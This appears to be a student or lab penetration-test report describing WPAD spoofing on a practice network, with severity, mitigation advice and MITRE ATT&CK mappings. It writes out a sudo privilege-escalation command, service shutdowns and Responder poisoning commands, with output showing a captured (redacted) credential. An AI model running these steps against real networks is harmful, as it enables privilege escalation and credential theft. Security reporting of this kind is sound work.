

Penetration Test - Exercise 100

Esteban Calvo

2023-11-08

Contents

1	Technical Report	2
1.1	Finding: <i>WPAD Spoofing for Credentials</i>	2
2	Attack Narrative	2
2.1	Initial Checks	2
2.2	Responder	3
2.3	MITRE ATT&CK Framework TTPs	4

1 Technical Report

1.1 Finding: WPAD Spoofing for Credentials

Severity Rating

Risk: Low

CVSS Base Severity Rating: 1.9 AV:L AC:H PR:H UI:N S:U C:L I:N A:N

Vulnerability Description

WPAD is a network protocol that allows browser to discover proxy settings in a local network. We see that a user is using WPAD protocol and can thus try and connect to it using responder to gather credentials. This attack captured credentials for a user with **Basic username not.nomen**

Confirmation method

Root access was gained on devbox using previous sudo exploits. Once root access was established, the responder program was imported over using scp. We must first disable some services before the attack is successful.

```
sudo netstat -tnlp | grep -E '80|25|53'  
sudo service <name> stop
```

Where name is the name of the service as revealed from netstat. Once these services are killed, we can run the command and wait patiently while credentials are captured.

```
sudo python3 Responder.py -I ens32 -wFb
```

Mitigation or Resolution Strategy

One way to mitigate this attack would be to disable WPAD services. If this is not a feasible solution, then all web traffic must be encrypted using HTTPS to ensure intercepted data is not plaintext.

2 Attack Narrative

2.1 Initial Checks

Before we used responder, it was important to first use tcpdump to give some clues as to whether responder would work at all. To begin, we connected to devbox as usual and then used the previously found exploit and changed the command that was running ps to bash as follows.

```
cp /usr/bin/bash /usr/bin/ps  
sudo -u#-1 ps
```

Once we had access, we can then scp over the ssl-extras directory and use the tcpdump as follows:

```
proxychains scp -r sslstrip-extras l.strauss@devbox.artstailor.com:
proxychains scp -r /usr/share/responder l.struass@devbox.artstailor.com:
sudo ./tcpdump -i ens32 -w ~/capture.pcap -Z l.strauss
```

After examining the capture.pcap file using wireshark, the following observation was made

668	78.189268	10.70.184.39	172.24.0.10	TLSv1.2	100 Application Data
669	78.190185	172.24.0.10	10.70.184.39	TCP	66 38982 -> 3389 [ACK] Seq=498 Ack=7247 Win=21486 Len=0 TSval=35234...
670	78.385515	10.70.184.39	8.8.8.8	DNS	90 Standard query 0x832f A self.events.data.microsoft.com
671	78.479062	10.70.184.39	8.8.8.8	DNS	70 Standard query 0xcaca A g.live.com
672	78.762382	10.70.184.39	172.24.0.10	TLSv1.2	100 Application Data
673	78.763263	172.24.0.10	10.70.184.39	TCP	66 38982 -> 3389 [ACK] Seq=498 Ack=7281 Win=21486 Len=0 TSval=35234...
674	78.834232	10.70.184.100	172.70.184.133	DNS	81 Standard query 0x5085 A 1.debian.pool.ntp.org
675	78.834292	10.70.184.100	172.70.184.133	DNS	81 Standard query 0x1e66 AAAA 1.debian.pool.ntp.org
676	78.964837	10.70.184.101	10.70.184.90	DNS	79 Standard query 0xddc9 A wpad.artstailor.com
677	78.965272	10.70.184.90	10.70.184.101	DNS	144 Standard query response 0xddc9 No such name A wpad.artstailor.c...
678	78.965735	10.70.184.101	224.0.0.251	MDNS	70 Standard query 0x0000 A wpad.local "QM" question
679	78.965963	fe80::77a1:20d:513:... ff02::fb	MDNS	90 Standard query 0x0000 A wpad.local "QM" question	
680	78.966464	fe80::77a1:20d:513:... ff02::fb	LLMNR	84 Standard query 0x0000 A wpad	
808	170.615499	10.70.184.101	10.70.184.255	NBNS	92 Name query NB WPAD<00>
811	170.995060	10.70.184.90	10.70.184.255	NBNS	92 Name query NB PDC<1c>
812	171.396619	10.70.184.101	10.70.184.255	NBNS	92 Name query NB WPAD<00>
819	171.745479	10.70.184.90	10.70.184.255	NBNS	92 Name query NB PDC<1c>
820	171.837649	10.70.184.90	10.70.184.255	NBNS	92 Name query NB PDC<1c>
821	172.497600	10.70.184.90	10.70.184.255	NBNS	92 Name query NB PDC<1c>
822	172.587481	10.70.184.90	10.70.184.255	NBNS	92 Name query NB PDC<1c>
826	173.338605	10.70.184.90	10.70.184.255	NBNS	92 Name query NB PDC<1c>

Which signified that spoofing wpad might bear fruit as expected

2.2 Responder

Once we know that the attack might work, we can then cd over to the responder directory. Using the Trelis 2018 blog about responder as a guide for what flags to use, the following command was run

```
sudo python3 Responder.py -I ens32 -wFb
```

which yielded the following error

```
[+] Generic Options:
Responder NIC           [ens32]
Responder IP            [10.70.184.100]
Responder IPv6          [fe80::250:56ff:fe87:f318]
Challenge set           [random]
Don't Respond To Names ['ISATAP']

[+] Current Session Variables:
Responder Machine Name  [WIN-QKQBVPMSDLN]
Responder Domain Name  [1EHZ.LOCAL]
Responder DCE-RPC Port  [49220]

[+] Listening for events...

[!] Error starting TCP server on port 80, check permissions or other servers running.
[!] Error starting TCP server on port 25, check permissions or other servers running.
[!] Error starting TCP server on port 53, check permissions or other servers running.
```

Examining the error, we can see we might need to shut down the services running on these ports. We can use the following command to see what services to shutdown

```
sudo netstat -tnlp | grep 80
sudo netstat -tnlp | grep 25
sudo netstat -tnlp | grep 53
```

```
l.strauss@devbox:~/responder$ sudo netstat -ntlp | grep 80
tcp6      0      0 fe80::250:56ff:fe87::53 :::*           LISTEN        704/named
tcp6      0      0 :::80        :::*           LISTEN        920/apache2
l.strauss@devbox:~/responder$ sudo netstat -ntlp | grep 25
tcp       0      0 127.0.0.1:25 0.0.0.0:*       LISTEN        1632/exim4
tcp6      0      0 fe80::250:56ff:fe87::53 :::*           LISTEN        704/named
tcp6      0      0 :::1:25      :::*           LISTEN        1632/exim4
l.strauss@devbox:~/responder$ sudo netstat -ntlp | grep 53
tcp       0      0 127.0.0.1:53 0.0.0.0:*       LISTEN        704/named
tcp       0      0 127.0.0.1:953 0.0.0.0:*       LISTEN        704/named
tcp       0      0 10.70.184.100:53 0.0.0.0:*       LISTEN        704/named
tcp6      0      0 fe80::250:56ff:fe87::53 :::*           LISTEN        704/named
tcp6      0      0 :::1:953     :::*           LISTEN        704/named
tcp6      0      0 :::1:53      :::*           LISTEN        704/named
```

We can now stop these commands using `sudo service service-name stop` as follows

```
l.strauss@devbox:~/responder$ sudo service apache2 stop
l.strauss@devbox:~/responder$ sudo service exim4 stop
l.strauss@devbox:~/responder$ sudo service named stop
l.strauss@devbox:~/responder$ sudo netstat -ntlp | grep 53
l.strauss@devbox:~/responder$ sudo netstat -ntlp | grep 25
l.strauss@devbox:~/responder$ sudo netstat -ntlp | grep 80
```

Running responder now yields the following censored result

```
[*] [MDNS] Poisoned answer sent to 10.70.184.101 for name wpad.local
[*] [MDNS] Poisoned answer sent to fe80::77a1:20d:513:d30b for name wpad.local
[*] [LLMNR] Poisoned answer sent to fe80::77a1:20d:513:d30b for name wpad
[*] [LLMNR] Poisoned answer sent to 10.70.184.101 for name wpad
[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/118.0.5993.70 Safari/537.36
[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/118.0.5993.70 Safari/537.36
[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/118.0.5993.70 Safari/537.36
[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/118.0.5993.70 Safari/537.36
[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/118.0.5993.70 Safari/537.36
[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/118.0.5993.70 Safari/537.36
[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/118.0.5993.70 Safari/537.36
[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/118.0.5993.70 Safari/537.36
[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/118.0.5993.70 Safari/537.36
[HTTP] Basic Client : 10.70.184.101
[HTTP] Basic Username : not.nomen
[HTTP] Basic Password : KE[REDACTED]
```

This password also doubles as a Key, but for the safety of the client, the key will remain censored.

2.3 MITRE ATT&CK Framework TTPs

TA0006: Credential Access

T1557: Adversary-in-the-Middle

.001: LLMNR/NBT-NS Poisoning and SMB Relay

TA0006: Credential Access

T1212: Exploitation For Credential Access

